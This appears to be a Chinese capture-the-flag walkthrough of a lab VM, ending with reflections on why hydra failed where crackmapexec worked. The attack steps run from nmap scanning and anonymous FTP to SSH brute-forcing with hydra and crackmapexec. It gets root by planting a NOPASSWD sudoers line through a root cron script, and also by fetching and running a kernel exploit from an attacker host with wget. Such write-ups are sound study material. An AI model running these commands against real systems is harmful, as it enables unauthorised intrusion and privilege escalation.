0x01:端口扫描
主机发现
nmap -sn 192.168.231.0/24
IP地址为192.168.231.137
全端口扫描
nmap --min-rate 10000 -p- 192.168.231.137
开放了21ftp,22ssh,80http
UDP扫描
nmap -sU --min-rate 10000 -p- 192.168.231.137
无UDP端口开放
接下来进行详细端口扫描
nmap -sT -sC -sV -O --min-rate 10000 -p21,22,80 192.168.231.137
发现FTP可以匿名登录,http页面有robots.txt,web服务为Apache2.4.7
漏洞扫描
nmap --script=vuln -p21,22,80 192.168.231.137
枚举出了一个关键目录:/secret
0x02:FTP渗透
我们匿名登陆后,先切换成binary模式
查看当前路径和当前文件夹内容
pwd
ls -liah
发现只有一个lol.pcap的流量包,我们把它get下来
对于在渗透测试中的流量包分析,我们一般用strings去分析他,而不是用wireshark
对于流量包的分析,我们得到一个关键信息
在secret_stuff.txt
文件中,我们获得一个关键值sup3rs3cr3tdirlol
0x03:web渗透
扫目录
dirsearch -u http://192.168.231.137
和之前目录枚举出的结果一致
但还是没有什么可用信息
我们再扫一遍目录
dirsearch -u 192.168.231.137/secret
没有任何结果
这时候我们想到我们之前在FTP上获取到了一串字符,现在怀疑是目录,我们试试看
果然,我们把这个二进制文件下载下来后,查看
strings roflmao
看了一下,基本上就是这个东西了
这玩意很抽象,谁家把二进制地址做目录啊
这大概率就是ssh
我们hydra爆破
hydra -L ~/test/user.txt -P ~/test/pass.txt -Vv -t 20 192.168.231.137 ssh
我们尝试了很多次后都不行,手动输入也不行,实在是想不到了,看了看wp发现密码居然是Pass.txt!这谁想得到
但是我们更改后发现还是爆破不出来,原因我们放在最后
我们还可以使用crackmapexec来进行爆破
crackmapexec ssh 192.168.231.137 -u user.txt -p pass.txt --continue-on-success
发现限制了次数,我们只好调换一下顺序了,发现只有这一个用户可以正常登录
0x04:权限提升
提升交互性
/bin/bash
python -c 'import pty; pty.spawn("/bin/bash");'
信息收集
uname -a
cat /etc/issue
发现是一台Ubuntu的机子,内核版本为Linux troll 3.13.0-32-generic
,操作系统为Ubuntu 14.04.1
在这个时候突然把我弹出去了
应该是有自动任务到一定时间把我弹出去了,那我们现在考虑应该有两种提权方法
一是有自动任务,考虑自动任务提权
二是因为系统内核版本低,考虑内核提权
我们先看第一种,第二种放到最后来讲
cat
命令用不了,我们看看哪些命令具有SUID权限
find / -type f -perm -04000 -ls 2>/dev/null
发现没有什么命令可以平替cat
,那我们就换一个目录查看自动任务
find / -type f -name "cronlog" 2>/dev/null
cat /var/log/cronlog
成功找到一个cleaner.py文件,我们定位一下
find / -type f -name "cleaner.py" 2>/dev/null
cat /lib/log/cleaner.py
发现这个任务会自动删除/tmp
目录下的任意文件
我们在os.system处修改其内容如下进行提权
vim /lib/log/cleaner.py
echo "overflow ALL=(ALL) NOPASSWD:ALL" >> /etc/sudoers
但是我发现我的kali上远程ssh连用vim会直接卡死,大哥怀疑是ssh问题,升级后第一次可以了,第二次又死了,那应该是kali或者VM的问题,还是直接用Windows吧
等他一下,然后运行
sudo /bin/bash
成功提权
0x05:思考总结
1.为什么crackmapexec
能爆破出来,而hydra
却不行呢?
首先我们通过刚才知道,他的ssh有爆破限制,crackmapexec
的工作方式是每次尝试建立一个新连接的方式,而hydra
的工作方式是多线程并发的方式,从而被服务器拒绝
我们刚才hydra
的指令是
hydra -L ~/test/user.txt -P ~/test/pass.txt -Vv -t 20 192.168.231.137 ssh
其中-t
是设置线程数,我们把它删掉
hydra -L ~/test/user.txt -P ~/test/pass.txt -Vv 192.168.231.137 ssh
成功使用hydra
爆破出来,但是直观上来看并没有crackmapexec
看起来那么舒服
2.使用内核提权方法
由于我们刚才已经清除了用于删除/tmp
的自动文件,所以我们接下来在tmp
目录下操作
我们首先上传linpeas.sh查看
wget http://192.168.231.138:6666/linpeas.sh
chmod 777 linpeas.sh
./linpeas.sh -a > rst.txt
有三个highly probable
漏洞,我们尝试
脏牛运行不了,我们尝试第三个
wget 192.168.231.138:6666/37292.c
gcc 37292.c -o 37292
chmod 777 37292
./37292
成功提权!